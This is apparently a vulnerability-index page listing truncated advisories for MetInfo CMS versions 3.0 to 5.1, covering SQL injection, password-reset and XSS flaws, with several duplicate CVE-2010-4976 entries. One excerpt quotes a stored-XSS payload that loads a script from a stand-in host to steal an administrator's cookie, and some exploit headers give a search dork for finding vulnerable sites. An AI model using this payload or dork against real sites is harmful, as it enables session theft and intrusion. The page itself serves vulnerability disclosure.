MetInfo 5.1 /include/common.php SQL注入漏洞

\include\common.inc.php代码第30行产生了变量覆盖漏洞，代码33行的$tablepre可以覆盖掉，所以导致SQL注入漏洞产生。 MetInfo 5.1...

MetInfo 5.1 /message/access.php SQL注入漏洞

MetInfo是国内一款比较流行的企业网站管理系统，其5.1版本/message/access.php文件中的第12行代码处外界传入的变量$id直接拼接到SQL查询语句中，导致了SQL注入漏洞的产生。 MetInfo 5.1...

MetInfo 5.1 /admin/admin/getpassword.php SQL注入漏洞

MetInfo是国内一款比较流行的企业网站管理系统，其5.1版本/admin/admin/getpassword.php文件中的第8行代码处$array0变量最终来在外界传入的变量$p，而且$array0直接拼接到SQL查询语句中，导致了SQL注入漏洞的产生。 MetInfo 5.1...

MetInfo 5.1 /about/show.php SQL注入漏洞

No description provided by source...

Metinfo 5.0.2 feedback.php Sql注入

No description provided by source...

Metinfo 5.0.2 save.php 远程密码修改

No description provided by source...

Explosion a metinfo m extension background to modify any user password vulnerability-vulnerability warning-the black bar safety net

The last explosion of the metinfo a lot of loopholes, the official action soon, in the afternoon on the upgrade, which front Desk to modify any user password, and later found that a background can also, the front surface of the same, with the official said, Now upgraded to 5. 0. 4 is not yet...

MetInfo 4.0 member/save.php 任意密码修改漏洞

No description provided by source...

CVE-2010-4976

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

CVE-2010-4976

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

Cross site scripting

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

CVE-2010-4976

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

CVE-2010-4976

The CVE-2010-4976 issue affects MetInfo 3.0, specifically the search/search.php handler. The vulnerability arises in the searchword parameter (the Search Box field), enabling remote attackers to inject arbitrary web script or HTML (classic XSS). The description notes that details are from third-p...

PT-2011-1911

Name of the Vulnerable Software and Affected Versions MetInfo version 3.0 Description A cross-site scripting XSS issue exists, allowing remote attackers to inject arbitrary web script or HTML. This is achieved via the searchword parameter in the "search/search.php" file, also known as the Search...

CVE-2010-4976: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in search/search.php in MetInfo 3.0 allows remote attackers to inject arbitrary web script or HTML via the searchword parameter aka Search Box field. NOTE: some of these details are obtained from third party information...

The latest MetInfo enterprise website management system V4. 0 XSS 0Day-vulnerability warning-the black bar safety net

Author: Noevil Post To: T00ls.Net Using the method, the online message: Name fill: NoevilSCRIPT SRC="HTTP://xxx/xss.js"/SCRIPT Content: feel free. Background the administrator to view the messages list, and automatically intercepts the Cookie, the NoXss will try to Keep Session Landing back to ta...

MetInfo 3.0 RFI Vulnerability

Exploit for php platform in category web applications ============================= MetInfo 3.0 RFI Vulnerability ============================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 3 3 3 3 7 /' \ /'\ /'\ /\ \ /\ /\ \ 7 1 /, /\L\ \ /\L\ \///'/' \ \ \ \ 1 3...

Metinfo 3.0 - Multiple Vulnerabilities

Metinfo 3.0 - Multiple Vulnerabilities Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor£ :...

Metinfo 3.0 - Multiple Vulnerabilities

Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor£ : http://www.metinfo.cn/ Greetz : Dev-PoinT.com ; GlaDiatOr...

Metinfo 3.0 Cross Site Scripting / File Disclosure

Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor£ : http://www.metinfo.cn/ Greetz : Dev-PoinT.com ; GlaDiatOr...